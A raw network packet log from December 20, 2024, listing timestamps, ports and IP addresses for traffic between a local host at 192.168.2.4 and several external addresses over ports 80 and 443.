Dec 20, 2024 07:12:19.997905970 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.998904943 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.998959064 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:19.999022007 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:19.999074936 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:20.000052929 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:20.000108957 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:20.000173092 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:20.000227928 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:20.001211882 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:20.001269102 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:20.001302004 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:20.001354933 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:20.002331972 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:20.002386093 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:20.133466005 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:20.133533001 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:20.133575916 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:20.133748055 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:20.133944035 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:20.134001970 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:20.962461948 CET	443	49789	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:20.962781906 CET	49789	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:20.964128971 CET	49789	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:20.964148998 CET	443	49789	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:20.964922905 CET	443	49789	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:20.966509104 CET	49789	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:20.966700077 CET	49789	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:20.966764927 CET	443	49789	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:20.966835976 CET	49789	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:20.966850996 CET	443	49789	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:22.284013987 CET	443	49789	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:22.284235954 CET	443	49789	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:22.284352064 CET	49789	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:22.297283888 CET	49789	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:22.297313929 CET	443	49789	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:22.397631884 CET	49771	80	192.168.2.4	185.215.113.43
Dec 20, 2024 07:12:22.397906065 CET	49795	80	192.168.2.4	185.215.113.43
Dec 20, 2024 07:12:22.517510891 CET	80	49795	185.215.113.43	192.168.2.4
Dec 20, 2024 07:12:22.517556906 CET	80	49771	185.215.113.43	192.168.2.4
Dec 20, 2024 07:12:22.517661095 CET	49771	80	192.168.2.4	185.215.113.43
Dec 20, 2024 07:12:22.517687082 CET	49795	80	192.168.2.4	185.215.113.43
Dec 20, 2024 07:12:22.529067993 CET	49795	80	192.168.2.4	185.215.113.43
Dec 20, 2024 07:12:22.594703913 CET	49796	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:22.594723940 CET	443	49796	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:22.594959974 CET	49796	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:22.596489906 CET	49796	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:22.596503973 CET	443	49796	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:22.599880934 CET	49797	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:22.599930048 CET	443	49797	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:22.600030899 CET	49797	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:22.600306034 CET	49797	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:22.600336075 CET	443	49797	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:22.648601055 CET	80	49795	185.215.113.43	192.168.2.4
Dec 20, 2024 07:12:23.819242954 CET	443	49797	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:23.819421053 CET	49797	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:23.820735931 CET	49797	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:23.820744991 CET	443	49797	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:23.821472883 CET	443	49797	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:23.822758913 CET	49797	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:23.822932959 CET	49797	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:23.822969913 CET	443	49797	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:23.824754000 CET	443	49796	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:23.824815035 CET	49796	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:23.826338053 CET	49796	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:23.826344013 CET	443	49796	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:23.826827049 CET	443	49796	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:23.862951040 CET	80	49795	185.215.113.43	192.168.2.4
Dec 20, 2024 07:12:23.863075018 CET	49795	80	192.168.2.4	185.215.113.43
Dec 20, 2024 07:12:23.869026899 CET	49796	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:23.876573086 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:23.876876116 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:23.887377977 CET	49796	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:23.887639999 CET	49796	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:23.887754917 CET	443	49796	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:23.996401072 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:23.996471882 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:23.996520042 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:23.996639967 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:23.996782064 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:24.116240978 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:24.561119080 CET	443	49796	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:24.561362028 CET	443	49796	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:24.561505079 CET	49796	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:24.561753988 CET	49796	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:24.561773062 CET	443	49796	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:24.561827898 CET	49796	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:24.561832905 CET	443	49796	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:24.569154978 CET	49804	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:24.569199085 CET	443	49804	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:24.569397926 CET	49804	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:24.569654942 CET	49804	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:24.569672108 CET	443	49804	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:24.765939951 CET	443	49797	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:24.766174078 CET	443	49797	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:24.766470909 CET	49797	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:24.766568899 CET	49797	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:24.766608953 CET	443	49797	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:25.318839073 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.318906069 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.318927050 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.318963051 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.318999052 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.319015026 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.319032907 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.319067955 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.319075108 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.319075108 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.319098949 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.319140911 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.319140911 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.319149017 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.319184065 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.319199085 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.319219112 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.319246054 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.319309950 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.353292942 CET	49806	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:25.353379011 CET	443	49806	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:25.353554010 CET	49806	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:25.353900909 CET	49806	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:25.353933096 CET	443	49806	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:25.438857079 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.438937902 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.439045906 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.439045906 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.443953037 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.444016933 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.510860920 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.510915995 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.510942936 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.511020899 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.514954090 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.515063047 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.515064001 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.515135050 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.521498919 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.521552086 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.521563053 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.521641016 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.529843092 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.529911995 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.529966116 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.530082941 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.538243055 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.538294077 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.538336992 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.538398981 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.546613932 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.546664953 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.546736002 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.546777964 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.555005074 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.555094004 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.555115938 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.555175066 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.563395023 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.563431025 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.563517094 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.563517094 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.571782112 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.571839094 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.571839094 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.571896076 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.580136061 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.580187082 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.580255985 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.580307961 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.587762117 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.587807894 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.587893963 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.588038921 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.630542994 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.630595922 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.630659103 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.630707026 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.634309053 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.634376049 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.702873945 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.702950954 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.702984095 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.703046083 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.705127954 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.705178022 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.705945015 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.705992937 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.706056118 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.706108093 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.710618019 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.710664988 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.710750103 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.710818052 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.715333939 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.715384007 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.715404987 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.715452909 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.719912052 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.719973087 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.720016956 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.720068932 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.724538088 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.724591017 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.724637985 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.724688053 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.729140997 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.729196072 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.729259968 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.729307890 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.733741999 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.733808041 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.733872890 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.733922005 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.738388062 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.738434076 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.738516092 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.738579988 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.742995024 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.743068933 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.743127108 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.743175983 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.747706890 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.747741938 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.747793913 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.752201080 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.752249956 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.752312899 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.752388000 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.756818056 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.756870031 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.757086039 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.757143974 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.761475086 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.761533976 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.761553049 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.761580944 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.765081882 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.765142918 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.765206099 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.765255928 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.768697977 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.768754959 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.768768072 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.768963099 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.772329092 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.772402048 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.772414923 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.772583961 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.775909901 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.775958061 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.776004076 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.776062965 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.779479980 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.779535055 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.779563904 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.779582024 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.783145905 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.783200026 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.783211946 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.783245087 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.786696911 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.786793947 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.786847115 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.788665056 CET	443	49804	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:25.788736105 CET	49804	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:25.789997101 CET	49804	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:25.790013075 CET	443	49804	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:25.790323973 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.790380001 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.790442944 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.790505886 CET	443	49804	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:25.790565014 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.792239904 CET	49804	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:25.792277098 CET	49804	443	192.168.2.4	172.67.180.113
Dec 20, 2024 07:12:25.792341948 CET	443	49804	172.67.180.113	192.168.2.4
Dec 20, 2024 07:12:25.793986082 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.794019938 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.794033051 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.794061899 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.822562933 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.822695017 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.894818068 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.894906044 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.894937038 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.894988060 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.896151066 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.896203041 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.896667004 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.896729946 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.896806955 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.896919012 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.899456978 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.899511099 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.899512053 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.899569035 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.902280092 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.902333021 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.902333021 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.902383089 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.904865980 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.904915094 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.904993057 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.905045986 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.907510996 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.907567024 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.907619953 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.907669067 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.910082102 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.910134077 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.910197973 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.910248995 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.912672997 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.912728071 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.912740946 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.912791967 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.915106058 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.915159941 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.915199995 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.915249109 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.917593002 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.917648077 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.917696953 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.917747021 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.920018911 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.920068026 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.920130968 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.920176029 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.922409058 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.922462940 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.922543049 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.922594070 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.924762011 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.924814939 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.924894094 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.924942970 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.927155972 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.927211046 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.927268982 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.927323103 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:25.929547071 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:25.929599047 CET	49801	80	192.168.2.4	31.41.244.11
